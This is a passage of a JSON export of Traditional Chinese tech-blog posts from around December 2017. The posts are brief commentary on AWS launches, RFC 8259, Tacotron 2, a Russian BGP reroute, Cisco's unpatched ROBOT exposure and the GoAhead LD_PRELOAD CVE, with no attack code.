XD\r\n\r\n<blockquote><strong>I have a Cisco ACE device.</strong>\r\nCisco informed us that the ACE product line was discontinued several years ago and that they won't provide an update. Still, we found plenty of vulnerable hosts that use these devices.\r\n\r\nThese devices don't support any other cipher suites, therefore disabling RSA is not an option. To our knowledge it is not possible to use these devices for TLS connections in a secure way.\r\n\r\nHowever, if you use these products you're in good company: As far as we can tell Cisco is using them to serve the cisco.com domain.</blockquote>",
    "title": "這次 PKCS #1 1.5 的 ROBOT 攻擊，Cisco 沒打算修..."
  },
  {
    "id": "7923",
    "body": "<a href=\"https://techcrunch.com/\">TechCrunch</a> 上看到的，俄羅斯政府不只在美國選舉時這樣做，同時也在英國脫歐公投的議題上進行操作：「<a href=\"https://techcrunch.com/2017/12/13/twitter-says-russians-spent-1k-on-six-brexit-related-ads/\">Twitter says Russians spent ~$1k on six Brexit-related ads</a>」。\r\n\r\n不過金額比美國選舉時小了很多：\r\n\r\n<blockquote>In response to the Commission’s request for information concerning Russian-funded campaign activity conducted during the regulated period for the June 2016 EU Referendum (15 April to 23 June 2016), Twitter reviewed referendum-related advertising on our platform during the relevant time period.\r\n\r\nAmong the accounts that we have previously identified as likely funded from Russian sources, we have thus far identified one account—@RT_com— which promoted referendum-related content during the regulated period. $1,031.99 was spent on six referendum-related ads during the regulated period.\r\n\r\nWith regard to future activity by Russian-funded accounts, on 26 October 2017, Twitter announced that it would no longer accept advertisements from RT and Sputnik and will donate the $1.9 million that RT had spent globally on advertising on Twitter to academic research into elections and civil engagement. That decision was based on a retrospective review that we initiated in the aftermath of the 2016 U.S. Presidential Elections and following the U.S. intelligence community’s conclusion that both RT and Sputnik have attempted to interfere with the election on behalf of the Russian government. Accordingly, @RT_com will not be eligible to use Twitter’s promoted products in the future.</blockquote>",
    "title": "俄羅斯在英國脫歐的議題上，也利用 Social Network 的廣告影響民意"
  },
  {
    "id": "7924",
    "body": "在「<a href=\"https://medium.com/dev-channel/polymer-2-and-googlebot-2ad50c5727dd\">Polymer 2 and Googlebot</a>」這邊文章裡面才看到 <a href=\"https://www.google.com/\">Google</a> 官方在今年八月就有公開 <a href=\"https://en.wikipedia.org/wiki/Googlebot\">Googlebot</a> 所使用的 Web rendering service (WRS) 的細節：「<a href=\"https://developers.google.com/search/docs/guides/rendering\">Rendering on Google Search</a>」。可以想像到是基於 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的修改：\r\n\r\n<blockquote>Googlebot uses a web rendering service (WRS) that is based on Chrome 41 (M41). Generally, WRS supports the same web platform features and capabilities that the Chrome version it uses — for a full list refer to chromestatus.com, or use the compare function on caniuse.com.</blockquote>\r\n\r\n裡面提到一些值得注意的事情，像是不支援 <a href=\"https://en.wikipedia.org/wiki/WebSocket\">WebSocket</a>，所以對於考慮 Google 搜尋結果的頁面來說，就要注意錯誤處理了...",
    "title": "Googlebot 的 Web rendering service 的細節"
  },
  {
    "id": "7925",
    "body": "在「<a href=\"https://docs.aws.amazon.com/codebuild/latest/userguide/sample-build-badges.html\">Build Badges Sample with AWS CodeBuild</a>」這邊看到 <a href=\"https://aws.amazon.com/codebuild/\">AWS CodeBuild</a> 支援 Badge 的方法。最常用的 <a href=\"https://github.com/\">GitHub</a> 是給 AWS CodeBuild 授權後取得：\r\n\r\n<blockquote>If you chose GitHub, follow the instructions to connect (or reconnect) with GitHub. On the GitHub Authorize application page, for Organization access, choose Request access next to each repository you want AWS CodeBuild to be able to access. After you choose Authorize application, back in the AWS CodeBuild console, for Repository, choose the name of the repository that contains the source code. Select the Build Badge check box to make your project's build status visible and embeddable.</blockquote>\r\n\r\n有四種狀態：\r\n\r\n<ul>\r\n\t<li>PASSING The most recent build on the given branch passed.</li>\r\n\t<li>FAILING The most recent build on the given branch timed out, failed, faulted, or was stopped.</li>\r\n\t<li>IN_PROGRESS The most recent build on the given branch is in progress.</li>\r\n\t<li>UNKNOWN The project has not yet run a build for the given branch or at all. Also, the build badges feature might \r\nhave been disabled.</li>\r\n</ul>\r\n\r\n不過我還是偏愛 3rd party 的組合，不是很愛用 AWS CodeXXX 系列的服務就是了... 唯一一個用的是 <a href=\"https://aws.amazon.com/codecommit/\">AWS CodeCommit</a> 因為有永久的免費額度可以用。",
    "title": "AWS CodeBuild 也可以產生 Badge 給網頁用 (像是掛在 GitHub 的 README 裡)"
  },
  {
    "id": "7926",
    "body": "<a href=\"https://www.avast.com/\">Avast</a> 以 <a href=\"https://github.com/avast-tl/retdec/blob/master/LICENSE\">MIT License</a> 放出他們的 Decompiler，叫做 <a href=\"https://retdec.com/\">RetDec</a>：「<a href=\"https://blog.avast.com/avast-open-sources-its-machine-code-decompiler\">Avast open-sources its machine-code decompiler</a>」，專案在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/avast-tl/retdec\">avast-tl/retdec</a> 這邊。\r\n\r\nDecompiler，也就是直接把 machine code 試著轉回高階語言的程式碼：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wCBuLQp.webp\" /><img src=\"https://i.gslin.com/imgur/wCBuLQp.jpg\" alt=\"\" /></picture>\r\n\r\n這對於分析工作來說簡化很多，尤其是在資安產業的人... 以往比較常見是轉成 assembly 再用人工分析，現在這樣有機會讓大腦輕鬆一些。\r\n\r\n雖然目前有些限制 (像是 32 bits only)，不過 open source 出來後，可以預料會有不少人開始加功能進去：\r\n\r\n<ul>\r\n\t<li>Supported file formats: ELF, PE, Mach-O, COFF, AR (archive), Intel HEX, and raw machine code.</li>\r\n\t<li>Supported architectures (32b only): Intel x86, ARM, MIPS, PIC32, and PowerPC.</li>\r\n</ul>",
    "title": "Avast 放出他們的 Decompiler，RetDec"
  },
  {
    "id": "7927",
    "body": "<a href=\"https://www.w3.org/\">W3C</a> 推出 <a href=\"https://www.w3.org/TR/html52/\">HTML 5.2</a>，新的 W3C Recommendation...\r\n\r\n但網頁開發已經沒有人在管 W3C 的 HTML X.Y 了 (像是之前的 <a href=\"https://www.w3.org/TR/html51/\">HTML 5.1</a>)，大家都是直接翻資料查某個 feature 的支援度來決定能不能用，像是翻 <a href=\"https://caniuse.com/\">Can I use...</a> 或是翻 <a href=\"https://developer.mozilla.org/\">MDN</a>。\r\n\r\n就隨便看看吧... o_o",
    "title": "HTML 5.2？"
  },
  {
    "id": "7928",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了第二代的官方 Linux AMI：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/introducing-amazon-linux-2/\">Introducing Amazon Linux 2</a>」。這個版本提供五年 LTS 維護：\r\n\r\n<blockquote>Amazon Linux 2 will offer extended availability of software updates for the core operating system through 5 years of long-term support and provides access to the latest software packages through the Amazon Linux Extras repository.</blockquote>\r\n\r\n然後也大致提了一下內容物：\r\n\r\n<blockquote>Amazon Linux 2 provides a modern execution environment with LTS Kernel (4.9) tuned for optimal performance on Amazon Web Services (AWS), systemd support, and newer tooling (gcc 7.2.1, glibc 2.25, binutils 2.27).</blockquote>\r\n\r\n不過對 <a href=\"https://en.wikipedia.org/wiki/Yellow_Dog_Updater,_Modified\">YUM</a>-based 的系統不是很愛，應該還是會繼續龜在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 下...",
    "title": "AWS 推出第二代的官方 Linux AMI：Amazon Linux 2"
  },
  {
    "id": "7929",
    "body": "查了資料才發現去年十月 <a href=\"https://aws.amazon.com/rds/aurora/details/mysql-details/\">Amazon Aurora (MySQL-Compatible Edition)</a> 就支援用 <a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 當 stored procedure 了，只是當時只支援 async mode，能做的事情比較有限：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/10/amazon-aurora-new-features-aws-lambda-integration-and-data-load-from-amazon-s3-to-aurora-tables/\">Amazon Aurora New Features: AWS Lambda Integration and Data Load from Amazon S3 to Aurora Tables</a>」。\r\n\r\n<blockquote>Now you can invoke Lambda functions directly from within an Aurora database via stored procedures or user-defined functions. Lambda integration allows you to extend the capabilities of the database and invoke external applications to act upon data changes.  For example, you can create a Lambda function that sends emails to customers whenever their address in the database is updated.</blockquote>\r\n\r\n前幾天發表的則是支援 sync mode，可以等到：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/amazon-aurora-with-mysql-compatibility-natively-supports-synchronous-invocation-of-aws-lambda-functions/\">Amazon Aurora with MySQL Compatibility Natively Supports Synchronous Invocation of AWS Lambda Functions</a>」。\r\n\r\n<blockquote>Starting with version 1.16, we are extending this feature to be able to able to synchronously invoke Lambda functions.</blockquote>\r\n\r\n<blockquote>Use the native function lambda_sync when you must know the result of the execution before moving on to another action.</blockquote>\r\n\r\n這解掉了 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 stored procedure 一直很殘的問題...",
    "title": "Amazon Aurora (MySQL) 的 Stored Procedure 可以跑 AWS Lambda..."
  },
  {
    "id": "7930",
    "body": "裝了 <a href=\"https://chrome.google.com/webstore/detail/amplifier-ampcanonical-sw/ennckgigejppolagdoadgaaodkhopjnb\">Amplifier AMP/Canonical switcher</a>，在 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 上可以關閉 AMP 頁面 (<a href=\"https://en.wikipedia.org/wiki/Accelerated_Mobile_Pages\">Accelerated Mobile Pages</a>)。專案的 <a href=\"https://github.com/\">GitHub</a> 頁面在 <a href=\"https://github.com/jpettitt/amplifier\">jpettitt/amplifier</a>：\r\n\r\n<blockquote>This extension is designed for developers working with the AMP (Accelerated Mobile Pages) standard. It detects AMP links in the page header and allows quick switching between the AMP and Canonical version of a page. Optionally AMP pages can be loaded with the AMP validation enabled (#development=1).</blockquote>\r\n\r\n每一家的 AMP 連結結構都不一樣，所以就只好裝個套件快速切了...",
    "title": "在 Google Chrome 上關閉 AMP (Accelerated Mobile Pages)"
  },
  {
    "id": "7931",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到的：「<a href=\"https://www3.nhk.or.jp/news/html/20171214/k10011258071000.html\">第４の携帯電話会社 楽天が来年申請へ</a>」。\r\n\r\n<blockquote>ＩＴ大手の「楽天」は、ＮＴＴドコモ、ＫＤＤＩ、ソフトバンクのようにみずから基地局を備える携帯電話会社を近く設立し、来年、総務省に電波の割り当てを申請することが明らかになりました。認可を受ければ、国内に“第４の携帯電話会社”が誕生することになります。</blockquote>\r\n\r\n丟出申請建立基地台的執照，現在是審核的狀態... 在台灣有點像是「第一類電信事業經營者」中行動相關的部份 (參考維基百科「<a href=\"https://zh.wikipedia.org/wiki/%E8%87%BA%E7%81%A3%E9%9B%BB%E4%BF%A1%E6%A5%AD%E8%80%85%E5%88%97%E8%A1%A8\">臺灣電信業者列表</a>」這邊的說明)。\r\n\r\n這樣可以看看會端出什麼方案跟現有三家競爭... 對觀光客應該也有影響。",
    "title": "樂天在 2018 也要進入日本行動電話的市場..."
  },
  {
    "id": "7938",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=15927132\">Excel team considering Python as scripting language: asking for feedback</a>」這邊看到微軟正在考慮要不要讓 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Excel\">Excel</a> 支援 <a href=\"https://www.python.org/\">Python</a>，出自 <a href=\"https://www.uservoice.com/\">UserVoice</a> 上的：「<a href=\"https://excel.uservoice.com/forums/304921-excel-for-windows-desktop-application/suggestions/10549005-python-as-an-excel-scripting-language\">How can we improve Excel for Windows (Desktop Application)?</a>」。\r\n\r\n比較感覺到有可能性應該是因為微軟做了一個問卷收集資訊：「<a href=\"https://forms.office.com/Pages/ResponsePage.aspx?id=v4j5cvGGr0GRqy180BHbR7tUuWqOwSJFpBE5ZLhdkgtUMkhZWlkxRjhDRklXSjNTVkNSWkE2WlNQMS4u\">Python and Excel</a>」。\r\n\r\n不過本來的功能就已經可以用到很出神入化了... XD (想到最近提到的「<a href=\"https://blog.gslin.org/archives/2017/12/07/7896/line-%E5%B0%87%E5%85%A7%E9%83%A8%E7%9A%84%E5%BA%A7%E4%BD%8D%E8%A1%A8%E7%94%B1-excel-%E6%94%B9%E6%88%90-web-%E7%95%8C%E9%9D%A2/\">LINE 將內部的座位表由 Excel 改成 Web 界面...</a>」)",
    "title": "微軟在考慮讓 Excel 支援 Python..."
  },
  {
    "id": "7940",
    "body": "前幾天 (12 號) <a href=\"https://bgpmon.net/\">BGPmon</a> 發現有很多知名的網段被導去俄羅斯：「<a href=\"https://bgpmon.net/popular-destinations-rerouted-to-russia/\">Popular Destinations rerouted to Russia</a>」。\r\n\r\n<blockquote>Early this morning (UTC) our systems detected a suspicious event where many prefixes for high profile destinations were being announced by an unused Russian Autonomous System.</blockquote>\r\n\r\n可以看到相當多知名的網段都被導走：\r\n\r\n<blockquote>Starting at 04:43 (UTC) 80 prefixes normally announced by organizations such Google, Apple, Facebook, Microsoft, Twitch, NTT Communications and Riot Games were now detected in the global BGP routing tables with an Origin AS of 39523 (DV-LINK-AS), out of Russia.</blockquote>\r\n\r\n從圖中也可以看出來 AS39523 透過 AS31133 發出這些 routing，然後主要是透過 AS6939 (<a href=\"https://he.net/\">Hurricane Electric</a>) 擴散：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zMw54L3.webp\" /><img src=\"https://i.gslin.com/imgur/zMw54L3.jpg\" alt=\"\" /></picture>\r\n\r\n這幾年俄羅斯在網路上的動作多很多...",
    "title": "俄羅斯的 BGP traffic reroute..."
  },
  {
    "id": "7952",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 放出 <a href=\"https://github.com/twitter/vireo\">Vireo</a>，一套以 <a href=\"https://en.wikipedia.org/wiki/MIT_License\">MIT License</a> 釋出的 Video Processing Library：「<a href=\"https://blog.twitter.com/engineering/en_us/topics/open-source/2017/introducing-vireo.html\">Introducing Vireo: A Lightweight and Versatile Video Processing Library</a>」。專案庫在 <a href=\"https://github.com/\">GitHub</a> 的 <a href=\"https://github.com/twitter/vireo\">twitter/vireo</a> 可以取得。\r\n\r\n用 <a href=\"https://en.wikipedia.org/wiki/C++\">C++</a> 寫的，另外也已經提供 <a href=\"https://www.scala-lang.org/\">Scala</a> 的接口，這應該是讓 Twitter 的人可以方便使用：\r\n\r\n<blockquote>Vireo is a lightweight and versatile video processing library that powers our video transcoding service, deep learning recognition systems and more. It is written in C++11 and built with functional programming principles. It also optionally comes with Scala wrappers that enable us to build scalable video processing applications within our backend services.</blockquote>\r\n\r\n在 Tools 的部份也可以看到很多功能，像是：\r\n\r\n<blockquote>thumbnails: extracts keyframes from the input video and saves them as JPG images</blockquote>\r\n\r\n<blockquote>viddiff: checks if two video files are functionally identical or not (does not compare data that does not affect the playback behavior)</blockquote>\r\n\r\n另外要注意的是，預設不會將 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a> 的套件納入編譯，需要指定 <code>--enable-gpl</code> 才會編進去：\r\n\r\n<blockquote>The following libraries are disabled by default. To enable GPL licensed components, they have to be present in your system and --enable-gpl flag have to be explicitly passed to <code>configure</code></blockquote>\r\n\r\n看起來主要就是最常見的那包... (libavformat / libavcodec / libavutil / libswscale / libx264)",
    "title": "Twitter 放出來的 Vireo，一套 Open Source 授權的 Video Processing Library"
  },
  {
    "id": "7955",
    "body": "<a href=\"https://en.wikipedia.org/wiki/JSON\">JSON</a> 的規格書又被更新了 XD\r\n\r\n在「<a href=\"https://www.tbray.org/ongoing/When/201x/2017/12/14/RFC-8259-STD-90\">The Last JSON Spec</a>」這邊，<a href=\"https://en.wikipedia.org/wiki/Tim_Bray\">Tim Bray</a> 寫了這篇關於新的 <a href=\"https://tools.ietf.org/html/rfc8259\">RFC 8259</a> 跟之前的差異，以及大家對於雙重標準的顧慮。\r\n\r\n最大的差異在於，在 RFC 8259 規定了「如果 JSON 被用在非封閉的系統交換資料，必須使用 UTF-8」：\r\n\r\n<blockquote>8259 con­tains one new sen­tence: “JSON text ex­changed be­tween sys­tems that are not part of a closed ecosys­tem MUST be en­cod­ed us­ing UTF-8 [RFC3629].” Giv­en that, by 2017, an at­tempt to ex­change JSON en­cod­ed in any­thing but UTF-8 would be ir­ra­tional, this hard­ly needs say­ing; but its ab­sence felt like an omis­sion.</blockquote>\r\n\r\n而關於 <a href=\"https://www.ecma-international.org/publications/standards/Ecma-404.htm\">ECMA-404</a> 與 RFC 8259 都定義了 JSON 的問題他也說明了，因為很多人花了很多力氣在確保這兩份文件的正確性上，所以應該不會有問題 (i.e. 衝突)：\r\n\r\n<blockquote>The rea­son 8259 ex­ists is that the ECMAScript gang went and wrote their own ex­treme­ly min­i­mal spec, Stan­dard ECMA-404: The JSON Da­ta In­ter­change Syn­tax, and there was rea­son for con­cern over du­el­ing stan­dard­s. But, af­ter a cer­tain amount of standards-org elephant-gavotte, each of ECMA 404 and RFC 8259 nor­ma­tive­ly ref­er­ences the oth­er and con­tains a com­mit­ment to keep them con­sis­tent in case any er­rors turn up. Which is a good thing, but this text has been re-examined and re-polished so many times that I doubt ei­ther side will ev­er re­vis­it the ter­ri­to­ry, thank good­ness.</blockquote>\r\n\r\n另外他也提到了對於不同情境下可以看不同的文件。像是要了解 JSON 的話，可以看當初發明 JSON 的 <a href=\"https://en.wikipedia.org/wiki/Douglas_Crockford\">Doug Crockford</a> 所設立的網站 (在「<a href=\"https://www.json.org/\">JSON</a>」這邊)；而在交換時應該參考 I-JSON (Internet JSON，<a href=\"https://tools.ietf.org/html/rfc7493\">RFC 7493</a>)：\r\n\r\n<blockquote>Which spec should you use? · If you want to un­der­stand JSON syn­tax, you still can’t beat Doug Crockford’s orig­i­nal for­mu­la­tion at JSON.org. If you want to use an RFC as foun­da­tion for a REST API or some oth­er In­ter­net pro­to­col, I ac­tu­al­ly don’t rec­om­mend 8259, I rec­om­mend I-JSON, RFC 7493, which de­scribes ex­act­ly the same syn­tax as all the oth­er specs (by ref­er­enc­ing 7159), but ex­plic­it­ly rules out some legal-but-dumbass things you could do that might break your pro­to­col, for ex­am­ple us­ing any­thing but UTF-8 or hav­ing du­pli­cate mem­ber names in your ob­ject­s.</blockquote>\r\n\r\nI-JSON 是 JSON 的子集合，比較重要的：\r\n\r\n<ul>\r\n\t<li>(MUST) 使用 UTF-8。</li>\r\n\t<li>(SHOULD NOT) 浮點數的部份，不得超過 IEEE 754-2008 binary64 (double precision) 的範圍。</li>\r\n\t<li>(SHOULD NOT) 整數的部份，不得超過 [-(2**53)+1, (2**53)-1]) 的範圍。</li>\r\n\t<li>(RECOMMEND) 有超過的需求使用字串表示。</li>\r\n\t<li>(MUST NOT) JSON object 內不得有重複的 name。</li>\r\n\t<li>(SHOULD NOT) 最上層的型態不得使用字串，只能使用 object 或是 array。</li>\r\n\t<li>(MUST NOT) 遇到先前沒有定義過的元素不得視為錯誤。(像是新版 API 內會在 object 裡增加元素)</li>\r\n\t<li>(RECOMMEND) 時間使用 ISO 8601 表示 (在 <a href=\"https://tools.ietf.org/html/rfc3339\">RFC 3339</a> 有提到)，英文字的部份全部使用大寫，一定要標上時區，而秒數的 0 一定要加上去 (也就是 00 秒)。</li>\r\n\t<li>(RECOMMEND) 時間長度也建議依照 RFC 3339 處理。</li>\r\n\t<li>(RECOMMEND) Binary 資料用 base64url 傳 (<a href=\"https://tools.ietf.org/html/rfc4648\">RFC 4648</a>)。</li>\r\n</ul>",
    "title": "新出的 RFC 8259：The JavaScript Object Notation (JSON) Data Interchange Format"
  },
  {
    "id": "7958",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在巴黎的 region 開放了：「<a href=\"https://aws.amazon.com/blogs/aws/now-open-aws-eu-paris-region/\">Now Open AWS EU (Paris) Region</a>」。\r\n\r\n<blockquote>Today we are launching our 18th AWS Region, our fourth in Europe. Located in the Paris area, AWS customers can use this Region to better serve customers in and around France.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/orTjGlx.webp\" /><img src=\"https://i.gslin.com/imgur/orTjGlx.jpg\" alt=\"\" /></picture>\r\n\r\n這樣歐洲有四區了：\r\n\r\n<ul>\r\n\t<li>Ireland (愛爾蘭)</li>\r\n\t<li>Frankfurt (德國)</li>\r\n\t<li>London (英國)</li>\r\n\t<li>Paris (法國)</li>\r\n</ul>\r\n\r\n香港區什麼時候要開呢... o_o (參考「<a href=\"https://aws.amazon.com/blogs/aws/in-the-works-aws-region-in-hong-kong/\">In the Works – AWS Region in Hong Kong</a>」)",
    "title": "AWS 巴黎區開放"
  },
  {
    "id": "7959",
    "body": "<a href=\"https://aws.amazon.com/elasticsearch-service/\">Amazon Elasticsearch</a> 支援 I3 instance 了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/run-petabyte-scale-clusters-on-amazon-elasticsearch-service-using-i3-instances/\">Run Petabyte-Scale Clusters on Amazon Elasticsearch Service Using I3 instances</a>」。\r\n\r\n<blockquote>Amazon Elasticsearch Service now supports I3 instances, allowing you to store up to 1.5 petabytes of data in a single Elasticsearch cluster for large log analytics workloads.</blockquote>\r\n\r\n<code>i3.16xlarge</code> 單台是 15.2 TB 的硬碟空間，100 台就會是 1.5 PB，不知道跑起來會多慢 XDDD\r\n\r\n<a href=\"https://aws.amazon.com/elasticsearch-service/faqs/\">Amazon Elasticsearch Service – Amazon Web Services (AWS) | FAQs</a> 這邊還沒修正 XD：\r\n\r\n<blockquote>You can request a service limit increase up to 100 instances per domain by creating a case with the AWS Support Center. With 100 instances, you can allocate about 150 TB of EBS storage to a single domain.</blockquote>",
    "title": "Amazon Elasticsearch 支援 I3 instance (i.e. 1.5 PB Disk) 了"
  },
  {
    "id": "7961",
    "body": "早先時候美國政府宣布禁用 <a href=\"https://www.kaspersky.com/\">Kaspersky</a>，現在 Kaspersky 的律師出動反過來告美國政府了：「<a href=\"https://arstechnica.com/tech-policy/2017/12/kaspersky-sues-dhs-over-federal-blacklist/\">Kaspersky sues DHS over federal blacklist</a>」。\r\n\r\n(拉板凳) 不過在 Trump 政府下應該只是掙扎兩下做個意思，應該是進不去了 XD",
    "title": "Kaspersky 反過來告美國政府 (DHS)"
  },
  {
    "id": "7962",
    "body": "<a href=\"https://aws.amazon.com/api-gateway/\">Amazon API Gateway</a> 支援壓縮了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/12/amazon-api-gateway-supports-content-encoding-for-api-responses/\">Amazon API Gateway Supports Content Encoding for API Responses</a>」。\r\n\r\n<blockquote>You can now enable content encoding support for API Responses in Amazon API Gateway. Content encoding allows API clients to request content to be compressed before being sent back in the response to an API request. This reduces the amount of data that is sent from API Gateway to API clients and decreases the time it takes to transfer the data. You can enable content encoding in the API definition. You can also set the minimum response size that triggers compression. By default, APIs do not have content encoding support enabled.</blockquote>\r\n\r\n打開後傳回的資料就會自動壓縮了，然後還可以設定觸發的 response size... 依照文件 (<a href=\"https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-enable-compression.html#api-gateway-supported-content-encodings\">Content Codings Supported by API Gateway</a>)，目前支援的壓縮格式應該是最常見的 <code>gzip</code> 與 <code>deflate</code>。\r\n\r\n這功能好像是一開始有 API Gateway 就一直被提出來的 feature request...",
    "title": "Amazon API Gateway 支援壓縮了..."
  },
  {
    "id": "7963",
    "body": "<a href=\"https://google.github.io/tacotron/\">Tacotron</a> 是 Google 發表的 TTS 技術 (i.e. 輸入文字，請電腦發音)，而前一版的 Tacotron 的錄音可以參考「<a href=\"https://google.github.io/tacotron/publications/tacotron/index.html\">Audio samples from \"Tacotron: Towards End-to-End Speech Synthesis\"</a>」，論文則是在「<a href=\"https://arxiv.org/abs/1703.10135\">Tacotron: Towards End-to-End Speech Synthesis</a>」這邊可以看到。\r\n\r\n這一版的則是在 <a href=\"https://twitter.com/\">Twitter</a> 上看到有人提到：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Wow! I can no longer distinguish between a computer generated voice and recording of a person. <a href=\"https://twitter.com/hashtag/TTS?src=hash&amp;ref_src=twsrc%5Etfw\">#TTS</a> <a href=\"https://twitter.com/hashtag/generative?src=hash&amp;ref_src=twsrc%5Etfw\">#generative</a> <a href=\"https://twitter.com/hashtag/DeepLearning?src=hash&amp;ref_src=twsrc%5Etfw\">#DeepLearning</a><br>Try the samples then the Turing test: <a href=\"https://t.co/8LNcaCGfLR\">https://t.co/8LNcaCGfLR</a> <a href=\"https://t.co/tp8lofN1As\">pic.twitter.com/tp8lofN1As</a></p>&mdash; Alex J. Champandard (@alexjc) <a href=\"https://twitter.com/alexjc/status/943283723990196225?ref_src=twsrc%5Etfw\">December 20, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n這一版叫做 Tacotron 2，錄音可以參考「<a href=\"https://google.github.io/tacotron/publications/tacotron2/\">Audio samples from \"Natural TTS Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions\"</a>」，論文在「<a href=\"https://arxiv.org/abs/1712.05884\">Natural TTS Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions</a>」。\r\n\r\n這次在錄音頁面的最下面提供了盲測 (人類與 Tacotron 2 的錄音)，基本上已經分不出哪個是真人了...",
    "title": "Google 發表新的 TTS (Text-to-Speech) 技術 Tacotron 2"
  },
  {
    "id": "7964",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到他們自家更新了 2FA 的機制，除了本來的 in-app verification 外，也提供常見的 <a href=\"https://en.wikipedia.org/wiki/HMAC-based_One-time_Password_Algorithm\">HOTP</a> 了：(掃 QR code，然後會產生六碼數字的那種)\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">We’re rolling out an update to login verification.<br><br>You’ll now be able to use a third party app for two-factor authentication instead of SMS text messages.<a href=\"https://t.co/UXl3xKLEaG\">https://t.co/UXl3xKLEaG</a></p>&mdash; Twitter Safety (@TwitterSafety) <a href=\"https://twitter.com/TwitterSafety/status/943542421698125824?ref_src=twsrc%5Etfw\">December 20, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在上面的「<a href=\"https://help.twitter.com/en/managing-your-account/two-factor-authentication\">How to use login verification</a>」連結可以看到 HOTP 的設定方式：\r\n\r\n<ul>\r\n\t<li>[...]</li>\r\n\t<li>You will see a pop-up window displaying a QR code. Follow the instructions listed.</li>\r\n\t<li>To set up the third-party authenticator app, you will need to scan the QR code. You will then see a 6-digit numeric security code.</li>\r\n\t<li>Enter this code in the Security code text field in the pop-up window.</li>\r\n\t<li>Click Done.</li>\r\n</ul>\r\n\r\n還是可以選擇本來的方式以及簡訊，現在則是多了個選擇...",
    "title": "Twitter 支援 HOTP-based 2FA 登入了"
  },
  {
    "id": "7966",
    "body": "在「<a href=\"https://calendar.perfplanet.com/2017/tracking-cpu-with-long-tasks-api/\">Tracking CPU with Long Tasks API</a>」這邊提到的現象，雖然是在提新的 API，不過裡面提到了很重要的問題。\r\n\r\n以前的網站因為 js 都沒有用的那麼多，所以主要的瓶頸在於網路速度。所以大家最佳化的方向都是往「如何讓傳輸量變小」的方式進行，像是各類 js 的 minify，甚至是對 <a href=\"https://en.wikipedia.org/wiki/Gzip\">Gzip</a> 演算法的暴力改善 (維持相容的 <a href=\"https://en.wikipedia.org/wiki/Zopfli\">Zopfli</a>，以及新的 <a href=\"https://en.wikipedia.org/wiki/Brotli\">Brotli</a>)：\r\n\r\n<blockquote>In the old days, delivering a fast user experience depended primarily on download speed. One reason why the network was the main bottleneck back then is that JavaScript and CSS weren’t used as much as they are now, so CPU wasn’t a critical factor.</blockquote>\r\n\r\n而現代網站使用 js 的情況已經是來到了新的境界 (甚至很多網站是沒有 js 就不會動)，於是對於 CPU 的能力就愈來愈要求：\r\n\r\n<blockquote>According to the HTTP Archive, the top 1000 websites download five times more JavaScript today compared to seven years ago.</blockquote>\r\n\r\n而手機也愈來愈普及，CPU 的能力相較起來就更嚴峻了...",
    "title": "CPU 成為現代網站的速度瓶頸"
  },
  {
    "id": "7970",
    "body": ".separate-containers .inside-article, .separate-containers .comments-area, .separate-containers .page-header, .one-container .container, .separate-containers .paging-navigation, .inside-page-header {\n\tbackground-color: #efefef;\n}",
    "title": "generatepress"
  },
  {
    "id": "7980",
    "body": "在「<a href=\"https://www.elttam.com.au/blog/goahead/\">elttam - Remote LD_PRELOAD Exploitation</a>」這邊看到的技巧，記得以前有被提過 (還有 <code>IFS</code> 變數被拿來玩)，但這幾年純 <a href=\"https://en.wikipedia.org/wiki/Common_Gateway_Interface\">CGI</a> 程式比較少了 (像是 <a href=\"https://nginx.org/\">nginx</a> 不支援 CGI)，所以有種新鮮感... (雖然不是新東西 XD)\r\n\r\n這次中獎的是 <a href=\"https://embedthis.com/goahead/\">GoAhead</a> 這套 web server，被發 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17562\">CVE-2017-17562</a>，然後作者用 <a href=\"https://www.shodan.io/\">Shodan</a> 翻了一下，Internet 上有不少肉雞可以玩：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sPStvBw.webp\" /><img src=\"https://i.gslin.com/imgur/sPStvBw.jpg\" alt=\"\" /></picture>\r\n\r\n當年 CGI 架構的餘孽 XDDD",
    "title": "CGI 程式與 LD_PRELOAD..."
  },
  {
    "id": "7982",
